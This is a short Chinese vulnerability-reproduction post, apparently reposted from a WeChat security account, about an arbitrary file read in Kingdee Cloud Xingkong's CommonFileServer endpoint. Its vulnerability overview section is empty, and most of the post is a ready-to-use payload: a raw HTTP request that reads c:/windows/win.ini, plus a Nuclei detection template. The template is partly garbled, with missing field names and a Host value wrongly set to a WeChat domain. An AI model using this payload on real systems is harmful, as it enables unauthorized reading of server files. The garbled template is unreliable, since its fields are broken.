免责声明
此内容仅供技术交流与学习，请勿用于未经授权的场景。请遵循相关法律与道德规范。任何因使用本文所述技术而引发的法律责任，与本文作者及发布平台无关。如有内容争议或侵权，请及时联系我们。谢谢！
漏洞概述
漏洞复现
GET /CommonFileServer/c:/windows/win.ini HTTP/1.1Host:accept: */*User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9
NUCLEI POC
id: jindie-K3-cloud-CommonFileServer-file-readinfo:name: 金蝶云星空 CommonFileServer 任意文件读author: rainseverity: criticaltags: Kingdeemetadata:: app="金蝶云星空-管理中心"http:raw:|GET /CommonFileServer/c:/windows/win.ini HTTP/1.1Host: mp.weixin.qq.com: application/x-www-form-urlencoded: andmatchers:type: dsldsl:'status_code == 200''contains(body, "[fonts]")'
原文始发于微信公众号（知黑守白）：「漏洞复现」金蝶云星空 CommonFileServer 任意文件读取
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论